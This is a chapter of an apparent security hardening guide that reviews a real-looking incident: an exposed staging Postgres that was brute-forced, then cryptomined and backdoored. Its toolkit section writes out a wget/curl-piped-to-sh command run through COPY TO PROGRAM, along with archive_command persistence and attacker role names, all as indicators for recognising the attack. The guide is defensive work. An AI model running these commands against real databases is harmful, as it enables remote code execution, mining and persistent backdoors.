Skip to content

Chapter 1: Lessons from a real incident

1.1 The story

A small web product ran on AWS: one EC2 server for staging, one for production, a Django API with Celery and Redis in Docker Compose, PostgreSQL in a container on staging and in RDS for production. It had been set up by a previous engineer and had "worked" for two years.

Then a login endpoint started returning HTTP 500 with pg_hba.conf rejects connection. Digging into that one error uncovered a chain of failures:

  1. Staging ran the development compose file. It published Postgres (5432), Redis (6379) and the Django development server (8000) on all network interfaces.
  2. The host firewall did nothing, because Docker-published ports bypass ufw.
  3. The application connected as the Postgres superuser. The compose file used the app's DB user as the container's bootstrap superuser.
  4. The password was guessable. Bots tried for weeks (over 2,000 failed logins in the log) until one succeeded.
  5. With superuser, the attackers ran shell commands through COPY … TO PROGRAM. A cryptominer ran inside the database container for about two months.
  6. A second attacker planted a remote-access backdoor. They set ALTER SYSTEM SET archive_mode = on and an archive_command that would download it, which arms only on the next restart. They also rewrote pg_hba.conf so only their own role could connect. That's what broke the application: an outage that nobody noticed for 14 days.
  7. The production server had been cloned from staging two years earlier. It carried staging's SSH keys and a copy of staging's database, complete with an attacker superuser that was already there at the time. So staging had been compromised for over two years.
  8. The production database (RDS) was publicly accessible. Its security group (the VPC default group) allowed 5432 from 0.0.0.0/0, and bots were scanning it daily. It survived only because its password was a long random value generated by AWS Secrets Manager.
  9. Security groups had meaningless names (launch-wizard-5, default). Nobody knew what they protected.
  10. There was no monitoring. No CPU alarm (the miner), no uptime check (the outage), no log retention (RDS kept 3 days, connection logging off).

1.2 Findings → root cause → rule

# Finding Root cause Rule / hazard (Ch. 3)
1 Postgres/Redis/API published on 0.0.0.0 Development compose file used on servers; ports: "5432:5432" R1, R2, R3
2 Host firewall didn't help Docker-published ports bypass ufw/firewalld H1
3 App connected as DB superuser POSTGRES_USER=${DB_USER}: the app user was the bootstrap superuser R5
4 Shell commands run from SQL Superuser can COPY … TO/FROM PROGRAM R5, H6
5 Password guessed after weeks Weak example password copied into the real config; no alerting R6, R12, H20
6 pg_hba.conf rewritten, app locked out Config writable inside the data volume H7
7 Backdoor waiting for the next restart ALTER SYSTEM persists in postgresql.auto.conf; some settings apply only on restart H8, Ch. 14
8 Miner for ~2 months, outage unnoticed for 14 days No CPU alarm, no uptime check, no log review R12
9 Production carried attacker role + staging keys Production cloned from a staging image, data included R9, H13
10 RDS publicly accessible, 5432 from 0.0.0.0/0 Public access = Yes; rule added to the VPC default security group R4, H4, H9
11 Security groups named launch-wizard-5, default EC2 launch wizard auto-creates groups (SSH from anywhere); never reviewed R8, H2, H11
12 Django dev server facing the internet, debug likely on No gunicorn; port 8000 published publicly R2, R7, H21
13 Redis without password Default Redis configuration R3
14 "Internet access gateway: Disabled" misread as "not public" It's a different feature H10
15 Firewall rule by public IP didn't match the app's DB traffic App reached RDS via its private IP inside the VPC H12
16 Only 3 days of DB logs, no connection logging Default RDS log retention; log_connections off; logs not exported R12, H15
17 Same data volume reused for years Never rebuilt; attacker leftovers persisted H13

1.3 What the attackers' toolkit looked like

These patterns are typical of automated Postgres cryptomining campaigns (publicly documented ones include PG_MEM, 2024). Recognising them saves hours.

Stage What you see
Discovery Internet scanners hitting 5432: invalid length of startup packet, unsupported frontend protocol
Brute force Thousands of password authentication failed for user "postgres" (also admin, root, and names of popular self-hosted apps)
Foothold New superuser roles with innocent-looking names (admin, priv_esc, pgg_superadmins)
Execution COPY (SELECT '') TO PROGRAM '(wget … \|\| curl …) \| sh', COPY <tbl> FROM PROGRAM
Competition pg_read_file('/tmp/kinsing'), /tmp/kdevtmpfsi: checking for other miners
Payload Hidden files in /tmp or the data directory (.temp2, .gs_*), process disguised as init, high CPU
Persistence ALTER SYSTEM SET archive_mode/archive_command, cron jobs, extra pg_hba.conf lines
Lockout pg_hba.conf prepended with "allow only admin, reject everyone else"

1.4 What saved what little was saved

  • A long random database password (Secrets-Manager-generated) on RDS: bots scanned it and tried passwords, and got nowhere.
  • TLS-only access on RDS (PostgreSQL 15+ default): non-TLS bots were rejected before even trying a password.
  • Not restarting the compromised database before inspecting it: the planted backdoor never armed.
  • Collecting evidence first, then containing, then investigating, then rebuilding.